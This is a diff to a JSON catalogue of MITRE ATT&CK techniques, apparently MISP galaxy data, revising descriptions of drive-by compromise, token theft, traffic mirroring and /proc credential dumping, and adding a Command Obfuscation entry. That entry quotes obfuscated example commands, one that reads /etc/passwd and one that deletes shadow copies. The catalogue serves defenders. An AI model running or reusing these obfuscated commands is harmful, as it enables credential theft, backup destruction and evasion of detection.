-16191,7 +16378,7 @@ "value": "At (Linux) - T1053.001" }, { - "description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)", + "description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)", "meta": { "external_id": "T1553.005", "kill_chain": [ @@ -16317,7 +16504,7 @@ "value": "One-Way Communication - T1102.003" }, { - "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", + "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "meta": { "external_id": "T1608.004", "kill_chain": [ @@ -16455,7 +16642,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1574/002", - "https://capec.mitre.org/data/definitions/641.html", "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf" ] }, @@ -16712,7 +16898,7 @@ "value": "Re-opened Applications - T1164" }, { - "description": "Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.", + "description": "Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\n\nAdversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)", "meta": { "external_id": "T1571", "kill_chain": [ @@ -16730,6 +16916,7 @@ "refs": [ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "https://attack.mitre.org/techniques/T1571", + "https://twitter.com/TheDFIRReport/status/1498657772254240768", "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" ] @@ -16798,7 +16985,7 @@ "value": "Multi-hop Proxy - T1188" }, { - "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", + "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", "meta": { "external_id": "T1189", "kill_chain": [ @@ -16905,7 +17092,7 @@ "value": "Inter-Process Communication - T1559" }, { - "description": "Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.", + "description": "Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.", "meta": { "external_id": "T1134.001", "kill_chain": [ @@ -16988,7 +17175,7 @@ "value": "Junk Data - T1001.001" }, { - "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.", + "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\n\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.", "meta": { "external_id": "T1020.001", "kill_chain": [ @@ -16999,12 +17186,15 @@ "Network Traffic: Network Traffic Flow" ], "mitre_platforms": [ - "Network" + "Network", + "IaaS" ], "refs": [ "https://attack.mitre.org/techniques/T1020/001", - "https://capec.mitre.org/data/definitions/117.html", + "https://cloud.google.com/vpc/docs/packet-mirroring", "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html", + "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview", "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html", "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html", "https://www.us-cert.gov/ncas/alerts/TA18-106A" @@ -17180,7 +17370,7 @@ "value": "LSA Secrets - T1003.004" }, { - "description": "Adversaries may gather credentials from information stored in the Proc filesystem or /proc. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.\n\nThis functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.", + "description": "Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc//maps` file shows how memory is mapped within the process’s virtual address space. And `/proc//mem`, exposed for debugging purposes, provides access to the process’s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)\n\nWhen executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns that are indicative of credentials, such as looking for fixed strings in memory structures or cached hashes. When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.", "meta": { "external_id": "T1003.007", "kill_chain": [ @@ -17195,7 +17385,10 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1003/007", - "https://github.com/huntergregal/mimipenguin" + "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem", + "https://github.com/huntergregal/mimipenguin", + "https://www.baeldung.com/linux/proc-id-maps", + "https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use" ] }, "related": [ @@ -17254,8 +17447,7 @@ ], "refs": [ "http://www.icir.org/vern/papers/meek-PETS-2015.pdf", - "https://attack.mitre.org/techniques/T1090/004", - "https://capec.mitre.org/data/definitions/481.html" + "https://attack.mitre.org/techniques/T1090/004" ] }, "related": [ @@ -17268,7 +17460,7 @@ "value": "Domain Fronting - T1090.004" }, { - "description": "Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm)\n\nIn some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)", + "description": "Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022)\n\nIn some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)", "meta": { "external_id": "T1070.009", "kill_chain": [ @@ -17280,6 +17472,7 @@ "File: File Modification", "Process: Process Creation", "Scheduled Job: Scheduled Job Modification", + "User Account: User Account Deletion", "Windows Registry: Windows Registry Key Deletion", "Windows Registry: Windows Registry Key Modification" ], @@ -17290,6 +17483,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1070/009", + "https://blog.talosintelligence.com/recent-cyber-attack/", "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf" ] @@ -17328,7 +17522,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1110/001", - "https://capec.mitre.org/data/definitions/49.html", "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi", "https://www.us-cert.gov/ncas/alerts/TA18-086A" @@ -17364,7 +17557,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1110/002", - "https://capec.mitre.org/data/definitions/55.html", "https://en.wikipedia.org/wiki/Password_cracking", "https://www.us-cert.gov/ncas/alerts/TA18-106A" ] @@ -17403,7 +17595,6 @@ "refs": [ "http://www.blackhillsinfosec.com/?p=4645", "https://attack.mitre.org/techniques/T1110/003", - "https://capec.mitre.org/data/definitions/565.html", "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing", "https://www.us-cert.gov/ncas/alerts/TA18-086A" ] @@ -17441,7 +17632,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1110/004", - "https://capec.mitre.org/data/definitions/600.html", "https://www.us-cert.gov/ncas/alerts/TA18-086A" ] }, @@ -17455,7 +17645,7 @@ "value": "Credential Stuffing - T1110.004" }, { - "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", + "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", "meta": { "external_id": "T1071.001", "kill_chain": [ @@ -17471,8 +17661,10 @@ "Windows" ], "refs": [ + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "https://attack.mitre.org/techniques/T1071/001" + "https://attack.mitre.org/techniques/T1071/001", + "https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/" ] }, "related": [ @@ -17595,8 +17787,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1027/001", - "https://capec.mitre.org/data/definitions/572.html", - "https://capec.mitre.org/data/definitions/655.html", "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/", "https://www.virustotal.com/en/faq/", "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" @@ -17611,6 +17801,75 @@ "uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "value": "Binary Padding - T1027.001" }, + { + "description": "Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\n\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\n\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\n\nTools such as Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)", + "meta": { + "external_id": "T1027.010", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Command: Command Execution", + "File: File Metadata", + "Script: Script Execution" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1027/010", + "https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html", + "https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16", + "https://github.com/danielbohannon/Invoke-DOSfuscation", + "https://github.com/danielbohannon/Invoke-Obfuscation", + "https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand", + "https://redcanary.com/threat-detection-report/techniques/powershell/", + "https://twitter.com/rfackroyd/status/1639136000755765254", + "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", + "https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "type": "subtechnique-of" + } + ], + "uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "value": "Command Obfuscation - T1027.010" + }, + { + "description": "Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \n\nMany enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.\n\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. ", + "meta": { + "external_id": "T1021.007", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Logon Session: Logon Session Creation" + ], + "mitre_platforms": [ + "Office 365", + "Azure AD", + "SaaS", + "IaaS", + "Google Workspace" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1021/007" + ] + }, + "related": [ + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "type": "subtechnique-of" + } + ], + "uuid": "8861073d-d1b8-4941-82ce-dce621d398f0", + "value": "Cloud Services - T1021.007" + }, { "description": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", "meta": { @@ -17740,7 +17999,7 @@ "value": "Web Cookies - T1606.001" }, { - "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.", + "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.", "meta": { "external_id": "T1608.001", "kill_chain": [ @@ -17754,6 +18013,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1608/001", + 